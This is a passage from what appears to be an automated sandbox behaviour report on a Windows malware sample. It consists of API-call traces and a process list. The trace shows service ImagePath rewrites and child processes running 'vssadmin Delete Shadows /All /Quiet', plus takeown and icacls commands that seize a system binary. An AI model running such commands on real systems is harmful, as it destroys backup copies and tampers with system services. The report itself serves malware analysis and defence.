lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.870] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.870] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.870] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.870] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.870] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0260.870] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" [0260.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0260.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0260.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0260.870] LocalFree (hMem=0x7f03d0) returned 0x0 [0260.870] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0260.870] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x2) returned 0x803990 [0260.871] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0260.872] CloseServiceHandle (hSCObject=0x803990) returned 1 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.872] RegCloseKey (hKey=0xc4) returned 0x0 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0260.872] RegCloseKey (hKey=0x150) returned 0x0 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0260.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0260.872] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0260.872] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.873] GetLastError () returned 0x5 [0260.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0260.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0260.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0260.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0260.877] NtClose (Handle=0x150) returned 0x0 [0260.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0260.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0260.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 Thread: id = 515 os_tid = 0x7b8 Thread: id = 853 os_tid = 0x77c Thread: id = 854 os_tid = 0x6e0 Thread: id = 1062 os_tid = 0x754 Process: id = "43" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x5e6a1000" os_pid = "0x7ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 516 os_tid = 0x59c Thread: id = 518 os_tid = 0x440 Thread: id = 519 os_tid = 0x4fc Thread: id = 521 os_tid = 0x4d4 Thread: id = 522 os_tid = 0x56c Process: id = "44" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x5e854000" os_pid = "0x79c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\wbem\\WmiApSrv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 517 os_tid = 0x798 Thread: id = 520 os_tid = 0x300 Process: id = "45" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x5e75c000" os_pid = "0x664" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\wbem\\WmiApSrv.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 523 os_tid = 0x130 Process: id = "46" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x2bd21000" os_pid = "0x1a8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 524 os_tid = 0x538 Thread: id = 525 os_tid = 0x534 Thread: id = 526 os_tid = 0x514 Thread: id = 527 os_tid = 0x494 Thread: id = 528 os_tid = 0xcc Thread: id = 529 os_tid = 0x260 Thread: id = 530 os_tid = 0x224 Thread: id = 531 os_tid = 0x220 Thread: id = 532 os_tid = 0x21c Thread: id = 533 os_tid = 0x218 Thread: id = 534 os_tid = 0x214 Thread: id = 535 os_tid = 0x210 Thread: id = 536 os_tid = 0x20c Thread: id = 537 os_tid = 0x208 Thread: id = 538 os_tid = 0x204 Thread: id = 539 os_tid = 0x200 Thread: id = 540 os_tid = 0x1fc Thread: id = 541 os_tid = 0x1ac Thread: id = 888 os_tid = 0x2f8 Thread: id = 1019 os_tid = 0x824 Process: id = "47" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x2b870000" os_pid = "0x228" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:000069cb" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 542 os_tid = 0x730 Thread: id = 543 os_tid = 0x714 Thread: id = 544 os_tid = 0x70c Thread: id = 545 os_tid = 0x2f0 Thread: id = 546 os_tid = 0x280 Thread: id = 547 os_tid = 0x278 Thread: id = 548 os_tid = 0x274 Thread: id = 549 os_tid = 0x25c Thread: id = 550 os_tid = 0x258 Thread: id = 551 os_tid = 0x254 Thread: id = 552 os_tid = 0x250 Thread: id = 553 os_tid = 0x24c Thread: id = 554 os_tid = 0x240 Thread: id = 555 os_tid = 0x238 Thread: id = 556 os_tid = 0x234 Thread: id = 557 os_tid = 0x22c Process: id = "48" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xc2ac000" os_pid = "0x26c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000aea7" [0xc000000f], "LOCAL" [0x7] Thread: id = 558 os_tid = 0x7b0 Thread: id = 559 os_tid = 0x7a0 Thread: id = 560 os_tid = 0x74c Thread: id = 561 os_tid = 0x744 Thread: id = 562 os_tid = 0x6cc Thread: id = 563 os_tid = 0x298 Thread: id = 564 os_tid = 0x294 Thread: id = 565 os_tid = 0x290 Thread: id = 566 os_tid = 0x28c Thread: id = 567 os_tid = 0x284 Thread: id = 568 os_tid = 0x27c Thread: id = 569 os_tid = 0x270 Process: id = "49" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x2b5bb000" os_pid = "0x2a0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b1b0" [0xc000000f], "LOCAL" [0x7] Thread: id = 570 os_tid = 0x6f0 Thread: id = 571 os_tid = 0x60c Thread: id = 572 os_tid = 0x604 Thread: id = 573 os_tid = 0x600 Thread: id = 574 os_tid = 0x560 Thread: id = 575 os_tid = 0x428 Thread: id = 576 os_tid = 0x410 Thread: id = 577 os_tid = 0x40c Thread: id = 578 os_tid = 0xc8 Thread: id = 579 os_tid = 0x100 Thread: id = 580 os_tid = 0x398 Thread: id = 581 os_tid = 0x390 Thread: id = 582 os_tid = 0x380 Thread: id = 583 os_tid = 0x2d4 Thread: id = 584 os_tid = 0x2d0 Thread: id = 585 os_tid = 0x2bc Thread: id = 586 os_tid = 0x2b4 Thread: id = 587 os_tid = 0x2ac Thread: id = 588 os_tid = 0x2a4 Thread: id = 776 os_tid = 0x68c Thread: id = 1068 os_tid = 0x970 Process: id = "50" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa2c3000" os_pid = "0x310" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b6b2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 589 os_tid = 0x4d0 Thread: id = 590 os_tid = 0x470 Thread: id = 591 os_tid = 0x378 Thread: id = 592 os_tid = 0x7f4 Thread: id = 593 os_tid = 0x7d0 Thread: id = 594 os_tid = 0x7c8 Thread: id = 595 os_tid = 0x680 Thread: id = 596 os_tid = 0x67c Thread: id = 597 os_tid = 0x3ac Thread: id = 598 os_tid = 0x3e4 Thread: id = 599 os_tid = 0x3e0 Thread: id = 600 os_tid = 0x3c8 Thread: id = 601 os_tid = 0x3c4 Thread: id = 602 os_tid = 0x3bc Thread: id = 603 os_tid = 0x3b8 Thread: id = 604 os_tid = 0x3a8 Thread: id = 605 os_tid = 0x3a4 Thread: id = 606 os_tid = 0x370 Thread: id = 607 os_tid = 0x36c Thread: id = 608 os_tid = 0x35c Thread: id = 609 os_tid = 0x358 Thread: id = 610 os_tid = 0x340 Thread: id = 611 os_tid = 0x33c Thread: id = 612 os_tid = 0x328 Thread: id = 613 os_tid = 0x314 Thread: id = 798 os_tid = 0x58c Thread: id = 857 os_tid = 0x2f8 Thread: id = 944 os_tid = 0x964 Thread: id = 969 os_tid = 0xa70 Process: id = "51" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa4ca000" os_pid = "0x348" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c930" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 614 os_tid = 0x2e8 Thread: id = 615 os_tid = 0x338 Thread: id = 616 os_tid = 0x57c Thread: id = 617 os_tid = 0x500 Thread: id = 618 os_tid = 0x4dc Thread: id = 619 os_tid = 0x4e4 Thread: id = 620 os_tid = 0x408 Thread: id = 621 os_tid = 0x46c Thread: id = 622 os_tid = 0x7e0 Thread: id = 623 os_tid = 0x7b4 Thread: id = 624 os_tid = 0x77c Thread: id = 625 os_tid = 0x778 Thread: id = 626 os_tid = 0x774 Thread: id = 627 os_tid = 0x770 Thread: id = 628 os_tid = 0x760 Thread: id = 629 os_tid = 0x75c Thread: id = 630 os_tid = 0x754 Thread: id = 631 os_tid = 0x748 Thread: id = 632 os_tid = 0x740 Thread: id = 633 os_tid = 0x738 Thread: id = 634 os_tid = 0x734 Thread: id = 635 os_tid = 0x72c Thread: id = 636 os_tid = 0x724 Thread: id = 637 os_tid = 0x720 Thread: id = 638 os_tid = 0x71c Thread: id = 639 os_tid = 0x718 Thread: id = 640 os_tid = 0x700 Thread: id = 641 os_tid = 0x110 Thread: id = 642 os_tid = 0x118 Thread: id = 643 os_tid = 0x498 Thread: id = 644 os_tid = 0x478 Thread: id = 645 os_tid = 0x474 Thread: id = 646 os_tid = 0x464 Thread: id = 647 os_tid = 0x460 Thread: id = 648 os_tid = 0x458 Thread: id = 649 os_tid = 0x108 Thread: id = 650 os_tid = 0x3dc Thread: id = 651 os_tid = 0x3d8 Thread: id = 652 os_tid = 0x3cc Thread: id = 653 os_tid = 0x3c0 Thread: id = 654 os_tid = 0x374 Thread: id = 655 os_tid = 0x368 Thread: id = 656 os_tid = 0x364 Thread: id = 657 os_tid = 0x360 Thread: id = 658 os_tid = 0x354 Thread: id = 659 os_tid = 0x34c Thread: id = 953 os_tid = 0x9d8 Thread: id = 955 os_tid = 0x9e4 Thread: id = 1002 os_tid = 0xbdc Thread: id = 1003 os_tid = 0xbe0 Thread: id = 1004 os_tid = 0xbe4 Thread: id = 1005 os_tid = 0xbe8 Thread: id = 1006 os_tid = 0xbec Thread: id = 1007 os_tid = 0xbf0 Thread: id = 1008 os_tid = 0xbf4 Thread: id = 1009 os_tid = 0xbf8 Thread: id = 1010 os_tid = 0xbfc Process: id = "52" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x94da000" os_pid = "0x3d0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d7c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 660 os_tid = 0x570 Thread: id = 661 os_tid = 0x4c8 Thread: id = 662 os_tid = 0x450 Thread: id = 663 os_tid = 0x7e4 Thread: id = 664 os_tid = 0x7dc Thread: id = 665 os_tid = 0x7cc Thread: id = 666 os_tid = 0x7c4 Thread: id = 667 os_tid = 0x7a4 Thread: id = 668 os_tid = 0x790 Thread: id = 669 os_tid = 0x640 Thread: id = 670 os_tid = 0xf4 Thread: id = 671 os_tid = 0x3fc Thread: id = 672 os_tid = 0x3f0 Thread: id = 673 os_tid = 0x3ec Thread: id = 674 os_tid = 0x3e8 Thread: id = 675 os_tid = 0x3d4 Thread: id = 1063 os_tid = 0x548 Process: id = "53" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5bf7000" os_pid = "0x418" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000fed2" [0xc000000f], "LOCAL" [0x7] Thread: id = 676 os_tid = 0x330 Thread: id = 677 os_tid = 0x334 Thread: id = 678 os_tid = 0x544 Thread: id = 679 os_tid = 0x4e0 Thread: id = 680 os_tid = 0x7e8 Thread: id = 681 os_tid = 0x6bc Thread: id = 682 os_tid = 0x698 Thread: id = 683 os_tid = 0x694 Thread: id = 684 os_tid = 0x684 Thread: id = 685 os_tid = 0x644 Thread: id = 686 os_tid = 0x63c Thread: id = 687 os_tid = 0x610 Thread: id = 688 os_tid = 0x44c Thread: id = 689 os_tid = 0x448 Thread: id = 690 os_tid = 0x444 Thread: id = 691 os_tid = 0x438 Thread: id = 692 os_tid = 0x430 Thread: id = 693 os_tid = 0x42c Thread: id = 694 os_tid = 0x424 Thread: id = 695 os_tid = 0x41c Thread: id = 910 os_tid = 0x848 Thread: id = 911 os_tid = 0x84c Thread: id = 1064 os_tid = 0x4d0 Process: id = "54" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x5bfe000" os_pid = "0x488" os_integrity_level = "0x4000" os_privileges = "0x20a00080" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = 